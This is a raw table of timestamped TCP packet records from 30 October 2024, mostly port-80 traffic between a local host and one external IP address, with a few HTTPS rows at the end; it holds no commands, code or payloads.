Oct 30, 2024 05:25:24.809123039 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.809159040 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.809185028 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.809195042 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.809205055 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.809214115 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.809215069 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.809232950 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.809259892 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.809530020 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.809571981 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.809578896 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.809588909 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.809616089 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.809629917 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.809647083 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.809657097 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.809667110 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.809678078 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.809688091 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.809703112 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.809732914 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.809824944 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.809834957 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.809849024 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.809858084 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.809866905 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.809876919 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.809880018 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.809890985 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.809900999 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.809906006 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.809911013 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.809922934 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.809931993 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.809932947 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.809951067 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.809963942 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.810730934 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.810741901 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.810753107 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.810789108 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.810811043 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.810822010 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.810832024 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.810842991 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.810854912 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.810870886 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.810874939 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.810885906 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.810895920 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.810911894 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.810936928 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.810965061 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.810976028 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.810985088 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.810997009 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.811007023 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.811017036 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.811017990 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.811028004 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.811065912 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.811146021 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.811156034 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.811166048 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.811171055 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.811181068 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.811192036 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.811193943 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.811202049 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.811211109 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.811228037 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.811243057 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.858771086 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.858844995 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.858906984 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.858917952 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.858928919 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.858942032 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.858948946 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.858952999 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.858971119 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.859008074 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.883508921 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.883573055 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.883666039 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.883677006 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.883688927 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.883701086 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.883719921 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.883760929 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.927875996 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.927897930 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.927906990 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.928040028 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.928045988 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.928057909 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.928066015 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.928082943 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.928087950 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.928117990 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.928133965 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.928195953 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.928241014 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.928245068 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.928250074 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.928289890 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.928292990 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.928303003 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.928313017 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.928343058 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.928368092 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.928421021 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.928478956 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.928500891 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.928510904 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.928528070 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.928538084 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.928548098 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.928551912 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.928551912 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.928570032 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.928602934 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.928612947 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.928622961 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.928636074 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.928658962 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.928687096 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.928688049 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.928708076 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.928716898 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.928728104 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.928741932 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.928750992 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.928824902 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.928834915 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.928844929 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.928879976 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.928884029 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.928895950 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.928900957 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.928925991 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.928941011 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.928952932 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.928993940 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.929013014 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.929023027 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.929059982 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.929784060 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.929795027 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.929805040 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.929815054 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.929831982 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.929850101 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.929860115 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.929871082 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.929881096 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.929892063 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.929907084 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.929927111 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.929961920 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.929971933 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.929980993 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.930011988 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.930026054 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.930089951 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.930100918 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.930110931 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.930119991 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.930136919 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.930166960 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.930197001 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.930207968 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.930217981 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.930247068 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.930260897 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.930305004 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.930315018 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.930326939 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.930336952 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.930351973 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.930377960 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.930382967 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.930428982 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.930505991 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.930515051 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.930525064 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.930536032 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.930545092 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.930547953 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.930557013 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.930562973 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.930579901 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.930608034 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.978113890 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.978127003 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.978184938 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.978243113 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.978250027 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.978252888 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.978262901 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.978267908 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.978276968 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.978298903 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.002662897 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.002674103 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.002685070 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.002701998 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.002712965 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.002722979 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.002756119 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.047204971 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.047218084 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.047228098 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.047256947 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.047266960 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.047276974 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.047295094 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.047306061 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.047323942 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.047358990 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.047594070 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.047605038 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.047610998 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.047624111 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.047633886 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.047643900 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.047663927 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.047715902 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.047727108 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.047738075 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.047745943 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.047751904 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.047791004 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.047804117 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.047815084 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.047827005 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.047836065 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.047837019 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.047849894 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.047859907 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.047861099 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.047883987 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.047889948 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.047904015 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.047929049 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.048005104 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.048015118 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.048024893 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.048058033 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.048079967 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.048082113 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.048090935 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.048114061 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.048126936 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.048182964 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.048192978 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.048203945 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.048223019 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.048242092 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.048914909 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.048924923 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.048943996 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.048954964 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.048960924 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.048964977 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.048975945 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.049001932 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.049052000 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.049061060 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.049094915 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.049201965 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.049211979 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.049222946 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.049241066 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.049256086 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.049259901 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.049267054 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.049278975 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.049288988 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.049297094 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.049307108 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.049308062 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.049328089 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.049333096 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.049359083 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.049360037 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.049370050 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.049391985 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.049405098 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.049407005 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.049437046 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.049448013 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.049484015 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.049494028 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.049505949 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.049530983 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.049539089 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.049566031 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.049568892 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.049576044 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.049597025 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.049624920 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.049634933 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.049666882 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.049679041 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.049690008 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.049720049 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.049724102 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.049735069 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.049766064 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.049803019 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.049840927 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.049865007 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.049874067 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.049879074 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.049913883 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.097563028 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.097579956 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.097599030 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.097609997 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.097615957 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.097625971 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.097641945 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.097682953 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.121792078 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.121802092 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.121814966 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.121880054 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.121900082 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.122008085 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.122020006 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.122031927 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.122055054 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.122083902 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.148612022 CET	443	50001	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:25.148683071 CET	50001	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:25.149940968 CET	50001	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:25.149952888 CET	443	50001	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:25.150211096 CET	443	50001	188.114.96.3	192.168.2.6
